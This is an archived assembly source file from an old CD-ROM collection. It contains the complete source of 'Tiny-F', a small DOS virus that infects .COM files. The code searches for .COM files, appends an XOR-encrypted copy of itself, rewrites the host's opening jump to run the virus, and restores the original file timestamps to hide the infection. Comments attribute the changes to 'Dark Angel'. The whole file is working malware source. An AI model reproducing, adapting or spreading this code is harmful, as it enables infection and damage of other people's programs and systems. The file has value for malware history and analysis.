home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / TINY-F.ASM < prev    next >
Assembly Source File  |  1992-11-06  |  8KB  |  183 lines

  1. tinyv   SEGMENT BYTE PUBLIC 'code'
  2.         ASSUME  CS:tinyv, DS:tinyv, SS:tinyv, ES:tinyv
  3.  
  4.         ORG     100h
  5.  
  6. DOS     EQU     21h
  7.  
  8. start:  JMP     pgstart
  9. exlbl:  db      0CDh, 20h, 7, 8, 9
  10. pgstart:CALL    tinyvir
  11. tinyvir:
  12.         POP     SI                      ; get SI for storage
  13.         SUB     SI,offset tinyvir       ; reset SI to virus start
  14.         MOV     BP,[SI+blnkdat]         ; store SI in BP for return
  15.         ADD     BP, OFFSET exlbl
  16.         CALL    endecrpt
  17.         JMP     SHORT realprog
  18.  
  19. ;-----------------------------------------------------------------------------
  20. ; nonencrypted subroutines start here
  21. ;-----------------------------------------------------------------------------
  22.  
  23. ; PCM's encryption was stupid, mine is better - Dark Angel
  24. endecrpt:
  25. ; Only need to save necessary registers - Dark Angel
  26.         PUSH    AX                      ; store registers
  27.         PUSH    BX
  28.         PUSH    CX
  29.         PUSH    SI
  30. ; New, better, more compact encryption engine
  31.         MOV     BX, [SI+EN_VAL]
  32.         ADD     SI, offset realprog
  33.         MOV     CX, endenc - realprog
  34.         SHR     CX, 1
  35.         JNC     start_encryption
  36.         DEC     SI
  37. start_encryption:
  38.         MOV     DI, SI
  39. encloop:
  40.         LODSW                           ; DS:[SI] -> AX
  41.         XOR     AX, BX
  42.         STOSW
  43.         LOOP    encloop
  44.  
  45.         POP     SI                      ; restore registers
  46.         POP     CX
  47.         POP     BX
  48.         POP     AX
  49.         RET
  50. ;-----end of encryption routine
  51. nfect:
  52.         CALL    endecrpt
  53.         MOV     [SI+offset endprog+3],AX; point to data
  54.         MOV     AH,40H                  ; write instruction
  55.         LEA     DX,[SI+0105H]           ; write buffer loc    |
  56.         MOV     CX,offset endprog-105h  ; (size of virus)  --\|/--
  57.         INT     DOS                     ; do it!
  58.         PUSHF
  59.         CALL    endecrpt
  60.         POPF
  61.         JC      outa1                    ; error, bug out
  62.         RET
  63. outa1:
  64.         JMP     exit
  65.  
  66.  
  67. ;-----------------------------------------------------------------------------
  68. ;    Unencrypted routines end here
  69. ;-----------------------------------------------------------------------------
  70. realprog:
  71.         CLD                             ; forward direction for string ops
  72. ; Why save DTA?  This part killed.  Saves quite a few bytes.  Dark Angel
  73. ; Instead, set DTA to SI+ENDPROG+131h
  74.         MOV     AH, 1Ah                 ; Set DTA
  75.         LEA     DX, [SI+ENDPROG+131h]   ;  to DS:DX
  76.         INT     21h
  77.  
  78.         LEA     DX,[SI+fspec]           ; get filespec (*.COM)
  79.         XOR     CX, CX                  ;        ||   (clear regs)
  80.         MOV     AH,4EH                  ;        ||   (find files)
  81. mainloop:                               ;       \||/
  82.         INT     DOS                     ;    ----\/----
  83.         JC      hiccup                  ; no more files found, terminate virus
  84. ; Next part had to be changed to account for new DTA address - Dark Angel
  85.         LEA     DX, [SI+ENDPROG+131h+30]; set file name pointer
  86.                                         ; (offset 30 is DTA filename start)
  87.         MOV     AX,3D02H                ; open file
  88.         INT     DOS                     ; do it!
  89.         MOV     BX,AX                   ; move file handle to BX
  90.         MOV     AH,3FH                  ; read file
  91.         LEA     DX,[SI+endprog]         ; load end of program (as buffer pntr)
  92.         MOV     DI,DX                   ; set Dest Index to area for buffer
  93.         MOV     CX,0003H                ; read 3 bytes
  94.         INT     DOS                     ; do it!
  95.         CMP     BYTE PTR [DI],0E9H      ; check for JMP at start
  96.         JE      infect                  ; If begins w/JMP, Infect
  97. nextfile:
  98.         MOV     AH,4FH                  ; set int 21 to find next file
  99.         JMP     mainloop                ; next file, do it!
  100. hiccup: JMP     exit
  101. infect:
  102.         MOV     AX,5700h                ; get date function
  103.         INT     DOS                     ; do it!
  104.         PUSH    DX                      ; store date + time
  105.         PUSH    CX
  106.         MOV     DX,[DI+01H]             ; set # of bytes to move
  107.         MOV     [SI+blnkdat],DX         ;  "  " "    "   "   "
  108. ; Tighter Code here - Dark Angel
  109.         XOR     CX,CX                   ;  "  " "    "   "   " (0 here)
  110.         MOV     AX,4200H                ; move file
  111.         INT     DOS                     ; do it!
  112.         MOV     DX,DI                   ; set dest index to area for buffer
  113.         MOV     CX,0002H                ; two bytes
  114.         MOV     AH,3FH                  ; read file
  115.         INT     DOS                     ; do it!
  116.         CMP     WORD PTR [DI],0807H     ; check for infection
  117.         JE      nextfile                ; next file if infected
  118. getaval:                                ; encryption routine starts here
  119. ; My modifications here - Dark Angel
  120.         MOV     AH, 2Ch                 ; DOS get TIME function
  121.         INT     DOS                     ; do it!
  122.         OR      DX, DX                  ; Is it 0?
  123.         JE      getaval                 ; yeah, try again
  124.         MOV     word ptr [si+offset en_val], DX ; Store it
  125. ; Tighter code here - Dark Angel
  126.         XOR     DX,DX                   ; clear regs
  127.         XOR     CX,CX                   ;   "    "
  128.         MOV     AX,4202H                ; move file pointer
  129.         INT     DOS                     ; do it!
  130.         OR      DX,DX                   ; new pointer location 0?
  131.         JNE     nextfile                ; if no then next file
  132.         CMP     AH,0FEH                 ; new pointer loc too high?
  133.         JNC     nextfile                ; yes, try again
  134.         CALL    nfect
  135.         MOV     AX,4200H                ; move pointer
  136.         XOR     CX, CX                  ; clear reg
  137.         MOV     DX,OFFSET 00001         ; where to set pointer
  138.         INT     DOS                     ; do it!
  139.         MOV     AH,40H                  ; write to file
  140.         LEA     DX,[SI+offset endprog+3]; write data at SI+BUFFER
  141.         MOV     CX,0002H                ; two bytes (the JMP)
  142.         INT     DOS                     ; do it!
  143.         MOV     AX,5701h                ; store date
  144.         POP     CX                      ; restore time
  145.         POP     DX                      ; restore date
  146.         INT     DOS                     ; do it!
  147. exit:
  148.         MOV     AH,3EH                  ; close file
  149.         INT     DOS                     ; do it!
  150.  
  151. ; Return DTA to old position - Dark Angel
  152.  
  153.         MOV     AH, 1Ah                 ; Set DTA
  154.         MOV     DX, 80h                 ;  to PSP DTA
  155.         INT     21h
  156.  
  157.         JMP     BP
  158.  
  159. ;-----------------------------------------------------------------------------
  160. ; encrypted data goes here
  161. ;-----------------------------------------------------------------------------
  162.  
  163. fspec   LABEL   WORD
  164.         DB      '*.COM',0
  165. nondata DB      'Tiny-F version 1.1'    ; Program identification
  166.         DB      'ÿÇ╫@&ε╖│╜δ'          ; author identification
  167.         DB      'Released 10-19-91'     ; release date
  168. endenc  LABEL   BYTE                    ; end of encryption zone
  169. ;-----------------------------------------------------------------------------
  170. ; nonencrypted data goes anywhere after here
  171. ;-----------------------------------------------------------------------------
  172.  
  173. blnkdat LABEL   WORD
  174.         DW      0000H
  175.  
  176. ; Only en_val is needed now because of new encryption mechanism
  177. en_val  DW      0h
  178.  
  179. endprog LABEL   WORD
  180. tinyv   ENDS
  181.         END     start
  182.  
  183.